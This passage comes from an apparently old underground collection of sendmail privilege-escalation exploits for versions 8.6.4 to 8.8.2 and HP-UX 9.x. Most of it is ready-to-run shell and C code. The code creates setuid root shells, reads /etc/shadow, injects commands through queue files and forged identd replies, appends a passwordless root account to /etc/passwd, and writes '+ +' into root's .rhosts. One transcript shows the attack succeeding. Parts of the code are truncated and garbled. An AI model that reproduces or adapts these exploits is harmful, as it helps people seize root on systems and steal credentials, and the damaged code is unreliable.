- the "." in the sendmail script, leaving the program slightly truncated. To
- fix this, I have escaped the . so prior to executing this you must remove
- the \. (does that make any sense? :-) There was also a small problem with
- nested quotes pointed out by Peter Wemm which I have fixed.
-
- This is the "small version" of the script; it assumes you have a sane
- sendmail.cf. In this manner, it is not a particularly robust "breakin
- script" but I believe it does illustrate how to exploit the bug.
-
- This program uses "calc.c," the program mentioned by Timothy Newsham in an
- earlier message. The program has been modified slightly so that it gives
- better results (it would occasionally fail to locate the offset of a config
- given a buggy sendmail. The fix is to force a sync() after it generates a
- coredump.) The remainder of the program was written by myself and a fellow
- student, Steven Dake.
-
- We have held off on releasing this script until we were able to notify the
- people responsible for system security at NAU. Locals subscribing to this
- digest beware; sendmail on our machines has been patched! :-) */
-
- Script started on Thu Mar 24 00:54:54 1994
- [pine] [1] date
- Thu Mar 24 00:54:57 MST 1994
- [pine] [2] whoami
- jwa
- [pine] [3] id
- uid=4473(jwa) gid=400(student)
- [pine] [4] ls -l sendbug.sh
- -rwx------ 1 jwa student 4893 Mar 24 00:46 sendbug.sh*
- [pine] [5] sendbug.sh
- Creating setid0 ...
- Creating calc...
- Scanning core image for /nau/local/lib/mail/sendmail.cf...
- Creating alias.sh ...
- Creating fake alias file...
- Faking alias pointer in new config file...
- Creating the sendmail script...
- Executing /usr/lib/sendmail -
- d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
- 4935554.109,4294935555.46,4294935556.9
- Version 8.6.4
- 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994
- 00:55:21 -0700
- 220 ESMTP spoken here
- 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
- 250 ... Sender ok
- 250 ... Recipient ok
- 354 Enter mail, end with "." on a line by itself
- 250 AAA01803 Message accepted for delivery
- 503 Need MAIL before RCPT
- 503 Need MAIL command
- 500 Command unrecognized
- 500 Command unrecognized
- 221 pine.cse.nau.edu closing connection
- setid0 is a suid shell. executing...
- executing /bin/csh...
- pine# whoami
- root
- pine# id
- uid=0(root) gid=0(root)
- pine# exit
- pine# end of script.
-
- . and here's the program.
-
- #!/bin/sh
- # exploit new sendmail bug to give us a root shell
- # 24 mar 94 jwa/scd @nau.edu
- # "short version"
- # tested on sunos 5.2/sendmail 8.6.4
-
- # location of sendmail
- SENDMAIL=/usr/lib/sendmail
-
- # location of original sendmail.cf file
- CONFIG=/nau/local/lib/mail/sendmail.cf
- #CONFIG=`strings $SENDMAIL | grep sendmail.cf`
-
- # program to execute as root
- SHELL=/bin/csh
-
- TEMPDIR=/tmp/sendbug-tmp.$$
- mkdir $TEMPDIR
- chmod 700 $TEMPDIR
- cd $TEMPDIR
-
- cp $SENDMAIL sm
- chmod 700 sm
-
- echo "Creating setid0 ..."
- cat > setid.c << _EOF_
-
- /* set uid to zero, thus escaping the annoying csh and solaris sh
- * problem..
- *
- * if (getuid() != geteuid()) {
- * printf("permission denied, you root-hacker you.\n");
- * exit(1);
- * }
- *
- * .. must be run euid 0, obviously. with no args it runs /bin/sh,
- * otherwise it runs the 1st arg.
- */
-
- #include <stdio.h>
-
- main(argc, argv)
- int argc;
- char *argv[];
-
- int uid;
-
- setuid(0);
- setgid(0);
- seteuid(0); /* probabally redundant. */
- setegid(0);
-
- uid = getuid();
-
- if (uid != 0) {
- printf("setuid(0); failed! aborting..\n");
- exit(1);
- }
-
- if (argc !=2) {
- printf("executing /bin/sh...\n");
- system("/bin/sh");
- }
- else
- {
- printf("executing %s...\n", argv[1]);
- system(argv[1]);
- }
-
- _EOF_
-
- cc -o setid0 setid.c
-
- echo "Creating calc..."
-
- cat > calc.c << _EOF_
- /*
- * Determines offset in sendmail of
- * sendmail.cf file location.
- * author: timothy newsham
- */
- #include <fcntl.h>
-
- gencore()
-
- int pid;
- int fd[2];
-
- if(pipe(fd) < 0) {
- perror("pipe");
- exit(1);
- return(0);
- }
- pid = fork();
- if(!pid) {
- int f = open("./out", O_RDWR|O_CREAT, 0666);
- dup2(f, 1); dup2(fd[0], 0);
- close(f); close(fd[1]); close(fd[0]);
- execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
- perror("exec");
- exit(0);
- } else {
- sleep(2);
- kill(pid, 11);
- }
- close(fd[0]);
- close(fd[1]);
-
- main(argc,argv)
- char **argv;
- int argc;
-
- unsigned int ConfFile,tTdvect,off;
-
- gencore();
- sync(); /* grr. */
- tTdvect = find("ZZZZZZZZ", "core");
- ConfFile = find(argv[1], "core");
- if(!tTdvect || !ConfFile) {
- return(1);
- }
- off = ConfFile - tTdvect;
-
-
- printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n", off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
- off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
-
- int find(pattern, file)
- char *pattern,*file;
-
- int fd;
- int i, addr;
- char c;
-
- fd = open(file, 0);
-
- i = 0;
- addr = 0;
- while(read(fd, &c, 1) == 1) {
- if(pattern[i] == c)
- i++;
- else
- i=0;
- if(pattern[i] == '\0') {
- addr -= strlen(pattern);
- return(addr);
- }
- addr++;
- }
- return(0);
-
- _EOF_
- cc calc.c -o calc
-
- echo "Scanning core image for $CONFIG..."
-
- DEBUGFLAGS=`calc $CONFIG`
-
- echo "Creating alias.sh ..."
- echo "#!/bin/sh
- # this program will be executed when mail is sent to the fake alias.
- # since solaris sh and csh and tcsh refuse to run when euid != realuid,
- # we instead run the program we compiled above.
-
- /bin/chmod 6777 $TEMPDIR/setid0
- /bin/chown root $TEMPDIR/setid0
- /bin/sync
-
- " > alias.sh
-
- chmod 755 alias.sh
-
- echo "Creating fake alias file..."
- echo "yash: |$TEMPDIR/alias.sh" > aliases
-
- echo "Faking alias pointer in new config file..."
- egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
- echo "
- # hacks follow
-
- OA/$TEMPDIR/aliases # our fake alias file
- Ou0 # user ID to run as
- Og0 # group ID to run as
- DZWHOOP-v1.0" >> /tmp/sm.cf
-
- echo "Creating the sendmail script..."
-
- cat > sendmail.script << _EOF_
- helo
- mail from: <nobody>
- rcpt to: <yash>
- data
- yet another sendmail hole? suid whoop?
- \. # oops.. delete \ prior to execution
- quit
- _EOF_
-
- echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
-
- $SENDMAIL $DEBUGFLAGS -bs < sendmail.script
-
- # give it time to execute.
- sleep 4
-
- # cleanup in 5 seconds
- (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
-
- if [ -u setid0 ]
- then
- echo "setid0 is a suid shell. executing..."
- cd /
- $TEMPDIR/setid0 /bin/csh
- echo "end of script."
- exit 0
- else
- echo "setid0 is not suid; script failed."
- echo "apparently, you don't have the bug. celebrate :-)"
- exit 1
- fi
-
- --------------------------------- CuT HeRe --------------------------------
-
- -oE/filename bounce = 8.6.7 =
-
- Version affected: 8.6.7
-
- A bug in Sendmail 8.6.7 allows anyone to read any file, including the
- shadowed password file:
-
- /usr/lib/sendmail -oE/etc/shadow bounce
- From: your_username
-
- 8.6.9 = 8.6.9 or earlier =
-
- Mail any file to yourself.
-
- ------8<-------------------Cut Here--------------------8<-------------------
- # This is a shell archive. Save it in a file, remove anything before
- # this line, and then unpack it by entering "sh file". Note, it may
- # create directories; files and directories will be owned by you and
- # have default permissions.
- #
- # This archive contains:
- #
- # description
- # sm869.local
- # sm869.remote
- #
- echo x - description
- sed 's/^X//' >description << 'END-of-description'
- X
- XProgram: sm869.remote
- X
- Xyou can:
- X
- X run the body of the mail through a shell if
- X sendmail is allowed to run a shell.
- X
- X write the whole message to a file.
- X
- X have it send back a file to an account you specify.
- X
- XThe last option is supposed to remove the file after sending
- Xit but I found that it hasn't in my tests. Why? Well
- Xit has multiple recipients, one of the recipients is a
- Xrecipient that will never go through. So the data file
- Xgets kept around until it gives up on that host. This
- Xcan be several days.
- X
- XProblems:
- X
- X The action you specify will happen every 30minutes (the
- X queue time, may be different) until it gives up sending
- X to the unreachable host. (Actually this may be false.
- X I haven't left it around long enough to see if this happens.
- X Perhaps sendmail is smart enough to remove the other recipients
- X that did get delievered from the queue file).
- X
- X If you send a file back to yourself it may get removed
- X several days later. If you get the password file or
- X some other critical file you had better be ready to clean
- X up.
- X
- X Lots of logs. Its fairly obvious from the log files that
- X some hokey pokey is going on. If you're sending a file
- X back to yourself then you're pointing a finger at one
- X of your accounts
- X
- XYou have to go into the program to change the options you
- Xwant. The code is fairly well commented so this shouldn't
- Xbe any problem.
- X
- XProgram: sm869.local
- X
- XSame thing as above really except it works even if sendmail
- Xdoesnt check identd and you dont have to specify an unreachable
- Xhost. The file goes straight to the queue.
- X
- END-of-description
- echo x - sm869.local
- sed 's/^X//' >sm869.local << 'END-of-sm869.local'
- X#!/bin/sh
- X#
- X# Exploit hole in sendmail 8.6.9 and earlier.
- X#
- X
- X# Either write a file or run a program.
- X#ACTION="|/tmp/runme"
- XACTION="/tmp/writeme"
- X
- X# Data file to read from and then remove
- XDATAFILE="/tmp/abc"
- X#DATAFILE=""
- X
- X# Who to run as
- XRUNAS="bin"
- X
- X# Who to send mail to
- XWHOAMI=`whoami`
- XSENDTO=$WHOAMI
- X#SENDTO="someone-else"
- X
- X# Build up arg and send it off
- Xif [ -n "$DATAFILE" ] ; then
- XARG="$WHOAMI
- XD$DATAFILE
- XC:$RUNAS
- XR\"$ACTION\""
- Xelse
- XARG="$WHOAMI
- XC:$RUNAS
- XR\"$ACTION\""
- Xfi
- Xsendmail -odq -F"$ARG" $SENDTO << _END_
- XThis is appearing in the mailbox
- Xand also being piped to the program or
- Xwritten to the file, UNLESS you specify
- Xa datafile above. In that case the datafile
- Xwill be written and erased and this text will
- Xbe left (not deleted) in the queue directory.
- X_END_
- X
- END-of-sm869.local
- echo x - sm869.remote
- sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'
- X#!/bin/sh
- X#
- X# exploit for sm869 or worse
- X# identd must not be enabled (port 113 must be free)
- X
- X# this must be a host that mail can go to (MX not pointing elsewhere)
- X# that we cant reach right now (ie. host doesnt exist anymore)
- XUNREACHABLE="goofy.uhcc.hawaii.edu"
- X
- X# Commands to run on remote host
- XCOMMANDS="touch /tmp/gotcha"
- X
- X# what host to run it on
- XTARGET="localhost"
- X
- X# work in a temp dir
- XTD=/tmp/.Xwork.$$
- Xmkdir $TD
- Xcd $TD
- X
- Xcat > a.c <<_END_
- X#include <sys/types.h>
- X#include <sys/socket.h>
- X#include <netinet/in.h>
- X
- X/* run body of mail through shell run as daemon */
- X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed
- '1,/^$/d'|/bin/sh\"\nHXxx:
- "
- X
- X#ifdef other_possibilities
- X/* write to a file as daemon */
- X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
- X/* send back a file to someone and erase it */
- X#define REPLY "USERID : UNIX :
- a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "
- X#endif
- X
- Xreadline(fd, buf, len)
- Xchar *buf;
- X{
- X int i = 0;
- X
- X while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
- X if(buf[i] == '\r' || buf[i] == '\n')
- X break;
- X i++;
- X }
- X buf[i] = '\0';
- X}
- X
- Xdie(str)
- Xchar *str;
- X{
- X perror(str); exit(1);
- X}
- X
- Xmain()
- X{
- X int s, s2, adlen;
- X struct sockaddr_in ad;
- X char buf[60];
- X
- X ad.sin_family = AF_INET;
- X ad.sin_port = htons(113);
- X ad.sin_addr.s_addr = INADDR_ANY;
- X if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
- X if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
- X if(listen(s, 1) == -1) die("listen");
- X adlen = sizeof(ad);
- X s2 = accept(s, (struct sockaddr *)&ad, &adlen);
- X if(s2 == -1) die("accept");
- X printf("Connection from %s port %d\n",
- X inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
- X readline(s2, buf, 50);
- X sprintf(buf + strlen(buf), " : %s\n", REPLY);
- X write(s2, buf, strlen(buf));
- X}
- X_END_
- X
- X# compile program
- Xecho "compiling"
- Xcc a.c -o ident
- Xecho "running fake ident"
- X./ident &
- X
- X# send to reomte
- Xecho "talking to remote"
- X(
- X sleep 1; echo "helo"
- X sleep 1; echo "mail from: "
- X sleep 1; echo "rcpt to: "
- X sleep 1; echo "data"
- X echo "$COMMANDS"
- X echo "."
- X sleep 1; echo "quit"
- X sleep 5
- X) | telnet $TARGET 25
- X
- X# cleanup
- Xcd /
- Xrm -rf $TD
- Xecho "done."
- X
- END-of-sm869.remote
- exit
-
- .................................. CuT HeRe ..................................
-
- 8.6.9 newlines = 8.6.9 =
-
- When a message is queued for delivery by sendmail, a pair of files are
- written to the spool directory (/var/spool/mqueue on many systems). One of
- these files (qf<something>) contains information related to the processing
- of the message (headers, sender, recipient, etc.). Taking versions of
- sendmail prior to 8.6.10 as an example, one of the pieces of information
- maintained in this file is the name of the controlling user if mail is
- being delivered to a script (or file). By feeding sendmail a recipient
- address that contains newlines, it is possible to add lines to the queue
- file which specify a controlling user and an executable to run with that
- users access level. The 8.6.10 patch removes this hole, by stripping
- newlines from the recipient address before writing the queue file.
-
- EXPLOIT:
-
- /* smh.c - Michael R. Widner - atreus (2/27/95)
- *
- * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
- * hole. It's really just a matter of passing newlines in arguments to
- * sendmail and getting the stuff into the queue files. If we run this
- * locally with -odq we are guaranteed that it will be queue, rather than
- * processed immediately. Wait for the queue to get processed automatically
- * or just run sendmail -q if you're impatient.
-
- * usage: smh [ username [/path/to/sendmail]]
-
- * It's worth noting that this is generally only good for getting bin.
- * sendmail still wants to process the sendmail.cf file, which contains
- * Ou1 and Og1 most of the time, limiting you to bin access. Is there
- * a way around this?
-
- * cc -o smh smh.c should do the trick. This just creates a bin owned
- * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note that on some
- * systems this is pretty much worthless, but you're smart enough to know
- * which systems those are. Aren't you?
- */
-
- #include <sys/types.h>
- #include <unistd.h>
- #include <stdlib.h>
-
- main(argc, argv)
- int argc;
- char **argv;
- {
- execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
- "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
- P=/bin/sh, F=lsDFMeu,
- A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
- /tmp/newsh\">\n$rascii ",
- argv[1] ? argv[1] : "atreus",0);
- }
-
- ................................ CuT HeRe ..................................
-
- 8.6.10 ident/newlines = 8.6.10 =
-
- This is a sendmail 8.6.10 attack based on the problems that sendmail 8.6.10
- inherited from sendmail 8.6.9 .... Look at comments in the source. Two
- exploits follow:
-
- /* 8.6.10 sendmail attacker
- *
- * gcc ident.c -o ident
- * add the following line to your /etc/inetd.conf:
- * ident stream tcp nowait root /tmp/ident in.identd
- * then kill -HUP inetd
- *
- * Not for not public use or disclosure.
- *
- * This is a sendmail 8.6.10 attack based on the problems that
- * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
- * information given to it by identd, which included bogus characters
- * and newlines that it later appended to the queue file. Sendmail 8.6.10
- * supposedly "strips" newlines before they are written, however, it
- * converts them to spaces, and the following code demonstrates that
- * quick work-around patches are never ever stable...
- *
- * NOTES: This hack only works when sendmail queues up the message for
- * later delivery. This depends on the configuration of sendmail.cf and
- * on the machine loading. If you can do something to drag the machine to
- * its knees, then fire off this attack, you stand a much better chance of
- * success.
- *
- * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
- * default user to bin.bin), this exploit will not work.
- *
- * Also, since this only works when sendmail queues up the message for
- * later delivery, the time of execution is dependant on how sendmail
- * has been configured in sendmail.cf and machine load. Heavily loaded
- * machines (or machines that have been intentionally flooded) have a
- * greater possibility of this exploit working.
- *
- */
-
- #include <sys/types.h>
- #include <sys/fcntl.h>
- #include <sys/time.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
-
- /* TIMEOUT is the number of seconds to wait before closing the connection if
- * the client doesn't provide the port pairs.
- */
-
- #define TIMEOUT 120
- /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
- #define OUTPUT_BUFFER_SIZE 2048
- #define SOCKET_BUFFER_SIZE 100
-
- unsigned short lport = 0, rport = 0;
-
- void
- main ()
- {
- unsigned long here, there;
- struct fd_set fdset;
- struct timeval timeout;
- char buffer[OUTPUT_BUFFER_SIZE];
- char inbuffer[SOCKET_BUFFER_SIZE];
- int len;
- int fd;
-
- FD_ZERO (&fdset);
- FD_SET (0, &fdset);
- timeout.tv_sec = TIMEOUT;
- timeout.tv_usec = 0;
-
- select (1, &fdset, NULL, NULL, &timeout);
- len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
- if (len <= 0)
- exit (0);
- FD_SET (0, &fdset);
-
- sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
- "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
- P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh
- >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");
- write (1, buffer, strlen (buffer));
- exit (0);
- }
-
- ................................ CuT HeRe ..................................
-
- Second Exploit follows:
-
- /* 8.6.10 sendmail attacker
- *
- * gcc ident.c -o ident
- * add the following line to your /etc/inetd.conf:
- * ident stream tcp nowait root /tmp/ident in.identd
- * then kill -HUP inetd
- *
- * Not for not public use or disclosure.
- *
- * This is a sendmail 8.6.10 attack based on the problems that
- * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
- * information given to it by identd, which included bogus characters
- * and newlines that it later appended to the queue file. Sendmail 8.6.10
- * supposedly "strips" newlines before they are written, however, it
- * converts them to spaces, and the following code demonstrates that
- * quick work-around patches are never ever stable...
- *
- * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
- * default user to bin.bin), this exploit will not work.
- *
- * Also, since this only works when sendmail queues up the message for
- * lar delivery, the time of execution is dependant on how sendmail
- * has been configured in sendmail.cf and machine load. Heavily loaded
- * machines (or machines that have been intentionally flooded) have a
- * greater possibility of this exploit working.
- *
- */
-
- #include <sys/types.h>
- #include <sys/fcntl.h>
- #include <sys/time.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
-
- /* TIMEOUT is the number of seconds to wait before closing the connection if
- * the client doesn't provide the port pairs.
- */
-
- #define TIMEOUT 120
- /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
- #define OUTPUT_BUFFER_SIZE 2048
- #define SOCKET_BUFFER_SIZE 100
-
- unsigned short lport = 0, rport = 0;
-
- void
- main ()
- {
- unsigned long here, there;
- struct fd_set fdset;
- struct timeval timeout;
- char buffer[OUTPUT_BUFFER_SIZE];
- char inbuffer[SOCKET_BUFFER_SIZE];
- int len;
- int fd;
- FD_ZERO (&fdset);
- FD_SET (0, &fdset);
- timeout.tv_sec = TIMEOUT;
- timeout.tv_usec = 0;
-
- select (1, &fdset, NULL, NULL, &timeout);
- len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
- if (len <= 0)
- exit (0);
- FD_SET (0, &fdset);
- sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
- "Croot\t\t\t\t\t\t\tMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\t
- Mlocal,
- P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\tR<\"|/bin/echo toor::0:1:toor:/:
- /bin/csh >> /etc/passwd\">\t\t\tR<\"|/usr/bin/chmod 4755 /usr/bin/time\">\r\n
- $rascii done");
- write (1, buffer, strlen (buffer));
- exit (0);
- }
-
- ................................ CuT HeRe ..................................
-
- HP-UX = HP-UX 9.x =
-
- #!/bin/sh
- # This works on virgin HPUX 9.x sendmail.cf
- # The link can be set to any file on the system, it will append the contents
- # of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts)..
- # - sirsyko
-
- r00tDIR=`grep root /etc/passwd |cut -f6 -d:`
- RunDMC=`hostname`
-
- if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter
- fi
- if [ -f /tmp/dead.letter ]; then
- echo "Sorry, aint gonna work"
- exit
- fi
-
- ln -s ${r00tDIR}/.rhosts /tmp/dead.letter
-
- (
- sleep 1
- echo "helo"
- echo "mail from: noone"
- echo "rcpt to: noone@bounce"
- echo "data"
- echo "+ +"
- echo "."
- sleep 3
- echo "quit"
- ) | telnet ${RunDMC} 25
-
- sleep 5
- remsh ${RunDMC} -l root
-
- ............... CuT HeRe ...............
-
- What the r00t guys exploit does is just this:
-
- * creates a symbolic link to the target file (in this case '.rhosts' in
- root's directory) called '/tmp/dead.letter'.
- * Then sends a message (containing lines you want to append) to a
- non-existent user.
- * Sendmail is configured (as default) to append lines of non-recipient
- messages to '/tmp/dead.letter' and does it with root privileges. If
- '/tmp/dead.letter' is a symbolic link Sendmail will follow it and will
- overwrite the pre-existent file.
- * Probably if Sendmail configuration has been changed to make it behave
- in a different way, looking at the cf file could lead you to exploit
- the bug the same.
-
- 8.7.5 gecos = 8.X.X <8.8.0 = TeSTed oN 8.6.12
-
- This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996,
- excerpts follow:
-
- A buffer overflow condition exists that allows a user to overwrite the
- information in a saved stack frame. When the function returns, the saved
- frame is popped off of the stack and user code can be executed. If a user
- is able to alter his/her gecos field then that user can exploit a coding
- flaw in sendmail to elevate their effective UID to 0.
-
- The actual problem in the code is quite apparent.
-
- Inside recipient.c we find the following:
-
- char nbuf[MAXNAME + 1];
- ...
- buildfname(pw->pw_gecos, pw->pw_name, nbuf);
-
- The problem is that nbuf[MAXNAME + 1] is a fixed length buffer and as we
- will soon see, buildfname() does not honor this. [ ..... ]
-
- This particular problem has been fixed in Sendmail 8.8 beta.
-
- Here we have an example of exploit:
-
- ------------------------------ Cut Here ------------------------------------
-
- /* Hi ! */
- /* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0). */
- /* If you have any problems with it, send letter to me. */
- /* Have fun ! */
-
- /* ----------------- Dedicated to my beautiful lady ------------------ */
- /* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su */
-
- #include <stdio.h>
- main()
- {
- void make_files();
- make_files();
- system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;e
- cho See result in /tmp");
- }
-
- void make_files()
- {
- int i,j;
- FILE *f;
- char nop_string[200];
- char code_string[]=
- {
- "\xeb\x50" /* jmp
- cont */
-
- /* geteip: */ "\x5d" /* popl
- %ebp */
- "\x55" /* pushl
- %ebp */
- "\xff\x8d\xc3\xff\xff\xff" /* decl
- 0xffffffc3(%ebp) */
- "\xff\x8d\xd7\xff\xff\xff" /* decl
- 0xffffffd7(%ebp) */
- "\xc3" /* ret */
-
- /* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"
- /* 0xffffffc3(%ebp): */ "\x3c"
- "chmod a=rsx /tmp/sh"
- /* 0xffffffd7(%ebp): */ "\x01"
- "-leshka-leshka-leshka-leshka-" /* reserved */
-
- /* cont: */ "\xc7\xc4\x70\xcf\xbf\xef" /* movl
- $0xefbfcf70,%esp */
- "\xe8\xa5\xff\xff\xff" /* call
- geteip */
- "\x81\xc5\xb4\xff\xff\xff" /* addl
- $0xb4ffffff,%ebp */
- "\x55" /* pushl %ebp */
- "\x55" /* pushl %ebp */
- "\x68\xd0\x77\x04\x08" /* pushl
- $0x80477d0
- */
- "\xc3" /* ret */
- "-leshka-leshka-leshka-leshka-" /* reserved */
- "\xa0\xcf\xbf\xef"
- };
-
- j=269-sizeof(code_string);
- for(i=0;i\"$1\"\n");
- fprintf(f,"touch -t 2510711313 \"$1\"\n");
- fclose(f);
- }
-
- ................................ Cut Here ................................
-
- mime7to8() = 8.8.0 =
-
- An attacker can simply create a very large message in which each line ends
- with "=" and use it to overwrite the sendmail process's stack. Here the bug
- is only described... why doesn't someone write an exploit?!
-
- There is a serious bug in the mime7to8() function of sendmail 8.8.0 which
- allows anyone who can send you mail to execute arbitrary code as root on
- your machine. I think mime7to8() only gets invoked if you set the
- undocumented "9" mailer flag. However, this flag is set by default in the
- cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if you are
- using an old V6 format configuration file from sendmail 8.7, you are
- probably safe, but if you generated a new V7 configuration file, you are
- probably vulnerable to this bug.
-
- Now here are the technical details:
-
- The inner loop of mime7to8() looks like this:
-
- u_char *obp;
- char buf[MAXLINE];
- u_char obuf[MAXLINE];
-
- ....
-
- /* quoted-printable */
- obp = obuf;
- while (fgets(buf, sizeof buf, e->e_dfp) != NULL)
- {
- if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0)
- continue;
-
- putline((char *) obuf, mci);
- obp = obuf;
- }
-
- When mime_fromqp() encounters a line that ends "=\n", it chops those two
- characters off and returns 0 to indicate a continuation line. This causes
- the while loop to continue, reading another input line and appending its
- contents to obuf. However, when the loop continues without resetting obp to
- obuf, there are fewer than MAXLINE characters left in the output buffer.
- This means an attacker can simply create a very large message in which each
- line ends with "=". Eventually obp will move beyond the end of obuf and
- start writing almost arbitrary data to the sendmail process's stack (as
- long as no bytes are 0).
-
- smtpd = 8.7-8.8.2 =
-
- Read the exploit and don't bother:
-
- ------------------------------ Cut Here --------------------------------
-
- #/bin/sh
- #
- #
- # Hi !
- # This is exploit for sendmail smtpd bug
- # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
- # This shell script does a root shell in /tmp directory.
- # If you have any problems with it, drop me a letter.
- # Have fun !
- #
- #
- # ----------------------
- # ---------------------------------------------
- # ----------------- Dedicated to my beautiful lady ------------------
- # ---------------------------------------------
- # ----------------------
- #
- # Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
- #
- #
- #
- echo 'main() '>>leshka.c
- echo '{ '>>leshka.c
- echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
- echo '} '>>leshka.c
- #
- #
- echo 'main() '>>smtpd.c
- echo '{ '>>smtpd.c
- echo ' setuid(0); setgid(0); '>>smtpd.c
- echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
- echo '} '>>smtpd.c
- #
- #
- cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
- ./leshka
- kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"
- |head -n 1`
- rm leshka.c leshka smtpd.c /tmp/smtpd
- /tmp/sh
-
- .............................. Cut Here ...................................
-
- |---------------------- Credits ----------------------|
-
- All this info was mainly grabbed from:
-
- * Bugtraq
- * 8lgm
- * In***ax Digest
- * "Improving the Security of Your Site by Breaking Into it" By Dan
- Farmer & Wietse Venema
- * "Sendmail Bug Exploits List v.04b" By Per1com/Xer0
- * "Time For a Change" #1 'UNIX problems, for fun and exploit.' By Ghost
- in the Machine
-